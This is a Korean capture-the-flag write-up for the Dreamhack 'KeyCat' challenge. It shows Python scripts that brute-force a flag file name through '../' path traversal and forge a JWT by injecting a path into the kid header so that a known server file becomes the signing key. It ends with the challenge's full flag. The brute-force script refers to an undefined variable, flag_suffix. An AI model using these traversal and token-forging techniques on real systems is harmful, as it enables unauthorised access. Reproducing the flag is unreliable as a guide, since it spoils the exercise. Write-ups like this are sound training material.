KeyCat

index.js / jwt.js
루트(/) 경로로 접근할 때, 쿼리 스트링에 filename 파라미터를 함께 전달할 수 있다.
이 때 전달하는 filename 이 웹 서비스를 구동하고 있는 대상 호스트 서버에 존재하는 경우에는
새로운 JWT 토큰이 발급되는 구조이다.
// index.js
const { sign } = require('../jwt');
const router = require('express').Router();
const { Auth } = require('../middleware/auth')
router.get('/', Auth, async (req, res) => {
try {
const filename = req.query.fn;
if (filename !== undefined) {
const token = await sign(filename);
return res.send(`Hey this is new token ${token}`);
}
return res.send('Hi 😺');
} catch (e) {
return res.status(404).send('File not found....');
}
})
module.exports = router// jwt.js
const fs = require('fs');
const jwt = require('jsonwebtoken');
// /home/cat/deploy/keys
const PATH_PREFIX = __dirname + '/keys'
const sign = async (filename) => {
const KEY = fs.readFileSync(PATH_PREFIX + '/' + filename, 'utf-8');
return jwt.sign({ filename: filename, username: 'dreamhack' }, KEY, { keyid: filename, algorithm: 'HS256' });
}
const verify = (token) => {
let jwt_data = undefined
let error = undefined
jwt.verify(token, (header, cb) => { cb(null, fs.readFileSync(PATH_PREFIX + '/' + header.kid, 'utf-8')); }, { algorithm: 'HS256' }, (err, data) => {
error = err;
jwt_data = data;
}
)
return { 'jwt_data': jwt_data, 'err': error };
}
module.exports = {
sign,
verify
} entrypoint.sh
이 파일에서 볼 수 있듯이 플래그 파일명은 flag??.txt 구조로 구성되어 있었으며,
FLAG 내용은 FLAG_CONTETNT_1, FLAG_CONTETNT_2 두 부분으로 나뉘어져 있었다.
여기서 실제 플래그명이 어떤 값으로 구성됐는지 모르기 때문에 이를 알아내야 하는데,
앞선 과정에서 인덱스(/) 경로로 접속했을 때 filename 파라미터에 유효한 파일경로/파일명을 전달하면
서버에서 새로운 JWT 토큰을 발급해주는 것을 확인했으므로 이 점을 활용하면 플래그명을 추출할 수 있다.

플래그명은 아래 코드를 사용하여 간단히 추출해 볼 수 있다. 플래그명은 [a-f0-9] 문자만 올 수 있다는 조건을 확인했다.
이는 16진수와 동일하므로 256(16^2)개 만큼만 전수공격을 수행하면 유효한 플래그명을 획득할 수 있다.
- /home/cat/deploy/flag39.txt
import requests
import os
import re
from itertools import product
# 1. 설정
BASE_URL = "http://host3.dreamhack.games:10495"
TARGET_URL = f"{BASE_URL}/cat/flag"
INIT_COOKIE = {'session': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleTEifQ.eyJmaWxlbmFtZSI6ImtleTEiLCJ1c2VybmFtZSI6ImRyZWFtaGFjayIsImlhdCI6MTc3MTUwOTM2MH0._0x8xJO4AnA-bXEeiXecZxQO34I33KUlTm-L4pUAH_4'}
JWT_PATTERN = r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+"
# 2. 16진수 2자리 조합 생성 (00 ~ ff)
hex_chars = '0123456789abcdef'
combinations = [''.join(i) for i in product(hex_chars, repeat=2)]
print(f"[*] 총 {len(combinations)}개의 조합에 대해 브루트포스를 시작합니다.")
for bf in combinations:
# (1) /home/cat/deploy/keys/{파일명}
# (2) /home/cat/deploy/flag$FLAG.txt
create_jwt_url = f"{BASE_URL}/?fn=../flag{bf}.txt"
# (3) 신규 JWT 토큰을 생성하는 URL로 GET 요청 전달
create_jwt_response = requests.get(create_jwt_url, cookies=INIT_COOKIE)
if (create_jwt_response.status_code == 200):
# (4) GET 요청 결과(응답) 중 JWT 값만 추출
token = re.search(JWT_PATTERN, create_jwt_response.text)
print(f"[*] Valid JWT Token has been found.\n\t→ {str(token.group())}")
cookies = {"session": str(token.group())}
try:
# (5) 파일명이 존재하면 JWT 토큰이 발급되는 원리를 이용하여 플래그 파일명(flag??.txt)을 추출
response = requests.get(TARGET_URL, cookies=cookies)
print(response)
# 성공 조건 (응답에 🙀나 특정 문자열이 포함된 경우)
if "🙀" in response.text or response.status_code == 200:
print(f"[+] 성공! FLAG 발견: {flag_suffix}")
print(f"[+] 응답 내용: {response.text}")
break
except Exception as e:
continue
print("[*] 탐색 종료.")
'''
결과
[*] 총 256개의 조합에 대해 브루트포스를 시작합니다.
[*] Valid JWT Token has been found.
→ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL2ZsYWczOS50eHQifQ.eyJmaWxlbmFtZSI6Ii4uL2ZsYWczOS50eHQiLCJ1c2VybmFtZSI6ImRyZWFtaGFjayIsImlhdCI6MTc3MTUwOTQ5NH0.yittusCtV-BKiOyaPqnOJRvJFxfNdXscDJ8e9zE5UY4
<Response [200]>
[*] 탐색 종료.
'''FLAG_CONTENT_1
획득한 JWT 토큰을 /cat/flag 경로로 요청을 보낼 때 세션 값으로 사용해주면 첫 번째 플래그 부분을 구할 수 있다.
- 🙀🙀🙀🙀🙀🙀 DH{90b12bc264e96c4bec8ebef17cf4e45

FLAG_CONTENT_2
“FLAG_CONTENT_2” 부분을 알기 위해서는 cat.js 파일의 37-45번째 라인에서 39번째 라인이 참 값을 반환해야 한다.
이를 위해서는 JWT 토큰 바디의 “username” 값으로 “cat_master” 값이 와야만 한다.

이 때 주목해야 할 점은 JWT 토큰을 생성할 때 사용되는 키로 사용자가 입력한 파일의 내용이 사용된다는 점이다.
filename은 사용자가 조작할 수 있는 부분이므로, 서버에 존재하는 파일의 내용을 KEY 값으로 지정해준 후에
따라서, username 이 “cat_master” 인 새로운 JWT 토큰을 발급해주면 두 번째 플래그도 획득할 수 있다.

키 값으로 사용할 파일은 /home/cat/deploy/app.js 파일을 선택했다.
파이썬에서 제공하는 jwt 모듈을 사용하면 간단하게 JWT 토큰을 생성할 수 있다.
import jwt
# 1. 설정값 (서버 환경에 맞춰 변경)
# FLAG_FILE_NAME이 "flag.txt"이고, 이를 키로 사용하기 위해 경로 조작(../) 포함
target_file = "../app.js"
# 실제 flag.txt의 내용을 알고 있어야 서명이 성공합니다.
# 만약 내용을 모른다면 이 방식은 서버가 '이미 알고 있는 파일'을 키로 쓰게 유도하는 용도입니다.
known_content = """const express = require("express");
const cookieParser = require("cookie-parser");
const path = require('path');
const fs = require("fs");
var jwt = require('jsonwebtoken');
const router_index = require("./routes/index")
const router_cat = require("./routes/cat")
const app = express();
const PORT = 3000;
app.set('views', path.join(__dirname, '/static/views'));
app.set("view engine", "ejs");
app.use(cookieParser());
app.use(express.urlencoded({
extended: false
}));
app.use(express.static(__dirname + "/static"))
app.use("/", router_index)
app.use("/cat", router_cat)
app.listen(PORT, () => {
console.log("Start")
})"""
# 2. 페이로드 (Payload) 구성
# req.filename.indexOf(FLAG_FILE_NAME)을 통과하기 위해 filename에 target_file 포함
payload = {
"filename": target_file,
"username": "cat_master"
}
# 3. 헤더 (Header) 구성
# 서버의 verify 함수가 fs.readFileSync(PATH_PREFIX + '/' + header.kid)를 호출하므로
# kid에 경로 조작 문자열을 넣습니다.
headers = {
"kid": target_file
}
# 4. 토큰 생성 (HS256 알고리즘)
token = jwt.encode(
payload,
known_content,
algorithm="HS256",
headers=headers
)
print(f"Generated Token: {token}")
''''결과
Generated Token: eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL2FwcC5qcyIsInR5cCI6IkpXVCJ9.eyJmaWxlbmFtZSI6Ii4uL2FwcC5qcyIsInVzZXJuYW1lIjoiY2F0X21hc3RlciJ9.225qj9HAuQEL5qSXPCLOkVPuw6rNvURAMhB4O_U14fQ
'''이후 새로 발급받은 JWT 토큰(username=cat_master)을 /cat/admin 경로로 요청을 보낼 때
요청 헤더에 담아 서버로 전달하면, 두 번째 플래그 조각을 반환해준다.
- Hello Cat Master😸 this is for you 729242b7b14835a0255ee340d92b9c19d}

이제 1, 2번째 플래그 조각을 합치면 문제 풀이가 가능하다.
DH{90b12bc264e96c4bec8ebef17cf4e45 + 729242b7b14835a0255ee340d92b9c19d}

🐛.. 🐛.. 🐛..